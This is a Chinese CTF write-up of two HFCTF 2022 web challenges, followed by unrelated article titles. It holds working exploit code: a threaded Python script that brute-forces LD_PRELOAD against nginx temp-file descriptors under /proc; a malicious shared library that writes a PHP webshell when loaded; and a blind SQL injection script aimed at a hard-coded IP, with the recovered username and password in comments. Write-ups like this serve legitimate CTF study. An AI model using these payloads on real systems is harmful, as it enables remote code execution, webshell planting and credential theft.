发布时间:2024-09-27 11:01
(empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>
看到这段代码不难联想到P神的博客 我是如何利用环境变量注入执行任意命令
题目给了一个docker用于本地搭建环境,可以发现题目用的系统环境为debian。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash。
由于p神在文章中探究的解决方法是基于centos的,该题目环境下无法使用,我们需要审计dash源码来寻找解决方案。那么有没有其他思路呢?
我们知道在有上传点的情况下,可以通过上传一个恶意so文件再通过LD_PRELOAD=/var/www/html/uploads/shell.so
的方式劫持并执行任意代码,显然题目并没有直接的上传点,那我们是否可以通过putenv
去包含一个临时文件执行命令呢?
显然是可以的,在陆队的博客 hxp CTF 2021 - A New Novel LFI中提到了 /var/lib/nginx/body
临时文件的利用,由于PHP通常通过PHP-FPM和Nginx部署,nginx提供了一个容易被忽视的机制client body buffering
。在官方文档 client_body_buffer_size中:
当nginx接受的请求的body大于buffer的时候,会先将body存缓存文件中,防止内存不够。如果 Nginx 以与 PHP 相同的用户身份运行(通常以 www-data 的形式运行),则该机制可以通过临时文件来LFI。
查看一下nginx源码 ngx_open_tempfile
函数:
ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
ngx_fd_t fd;
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
access ? access : 0600);
if (fd != -1 && !persistent) {
(void) unlink((const char *) name);
}
return fd;
}
可以看到临时文件一经创建就会被删除,我们该如何进行包含呢?
On Linux, the set of file descriptors open in a process can be accessed under the path
/proc/PID/fd/
, where PID is the process identifier.
如果一个进程打开了某个文件同时在没有被关闭的情况下就被删除了,那么这个文件就会出现在 /proc/PID/fd/
目录下。也就是说nginx在代码上生成后是直接删除的,但是buffer还在慢慢追加文件,等文件完整了才会彻底消失,因此产生了fd文件,让我们可以在这段时间内进行利用。
exp:
import threading, requests
import sys
URL2 = sys.argv[1]
nginx_workers = [12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27]
done = False
def uploader():
print('[+] starting uploader')
with open("exp.so","rb") as f:
data = f.read()
while not done:
requests.get(URL2, data=data)
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
def bruter(pid):
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
try:
requests.get(URL2, params={
'env': f"LD_PRELOAD=/proc/{pid}/fd/{fd}"
})
except:
pass
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
恶意so文件
#include
#include
#include
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"\" > /var/www/html/shell.php");
}
之后编译一下
gcc -shared -fPIC exp.c -o exp.so
提示hint.md
CREATE TABLE `auth` (
`id` int NOT NULL AUTO_INCREMENT,
`username` varchar(32) NOT NULL,
`password` varchar(32) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `auth_username_uindex` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
import { Injectable } from '@nestjs/common';
import { ConnectionProvider } from '../database/connection.provider';
export class User {
id: number;
username: string;
}
function safe(str: string): string {
const r = str
.replace(/[\s,()#;*\-]/g, '')
.replace(/^.*(?=union|binary).*$/gi, '')
.toString();
return r;
}
@Injectable()
export class AuthService {
constructor(private connectionProvider: ConnectionProvider) {}
async validateUser(username: string, password: string): Promise<User> | null {
const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;
const [rows] = await this.connectionProvider.use((c) => c.query(sql));
const user = rows[0];
if (user && user.password === password) {
// eslint-disable-next-line @typescript-eslint/no-unused-vars
const { password, ...result } = user;
return result;
}
return null;
}
}
给出了过滤函数和SQL查询逻辑,这里过滤了union无法使用联合查询,我们使用时间盲注,利用case when
构造查询语句
由于 binary 被过滤了,这里利用字符集进行处理,SQL 语句设置的字符集会优先于表的字符集,所以这里可以是设置 COLLATE utf8mb4_0900_bin 用于字符大小写判断
exp:
import requests
payload="1'||case'1'when`username`like'{}%'collate'utf8mb4_0900_as_cs'then'aaa'regexp'^a'else~0+~0+'1'end='0"
#payload="1'||case'1'when`password`regexp'^{}'collate'utf8mb4_0900_as_cs'then'aaa'regexp'^a'else~0+~0+'1'end='0"
list = string.ascii_letters + string.digits + '^$!_%@&'
url = 'http://1.117.171.248:3000/login'
j=''
while 1:
for i in list:
now_payload=payload.format(j+i)
date={
'password': 'qaq',
'username': now_payload
}
re = requests.post(url,data=date).text
if '401' in re:
j+=i
#print(nplayload)
print(j)
break
#username:QaY8TeFYzC67aeoO
#password:m52FPlDxYyLB^eIzAr!8gxh$
参考:
https://bierbaumer.net/security/php-lfi-with-nginx-assistance/
https://wooyun.js.org/drops/%E5%88%A9%E7%94%A8%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8FLD_PRELOAD%E6%9D%A5%E7%BB%95%E8%BF%87php%20disable_function%E6%89%A7%E8%A1%8C%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4.html
https://tttang.com/archive/1384/
https://harvey.plus/2022/03/20/2022HFCTF/
【第30天】给定一个整数 n ,求它的因数之和 | 约数之和定理
(非)对称加密算法在https中的应用(加密过程以及CA颁发、验证)
SpringBoot 整合mybatis,mybatis-plus
使用 CLI 开发 Cloudflare Workers 服务
手把手教你springboot整合bootstrap-table、pagehelper实现表格生成、页面美化、客户端和服务端分页
Python项目:基于Python+Django实现药品管理系统
通过 MSE 实现基于Apache APISIX的全链路灰度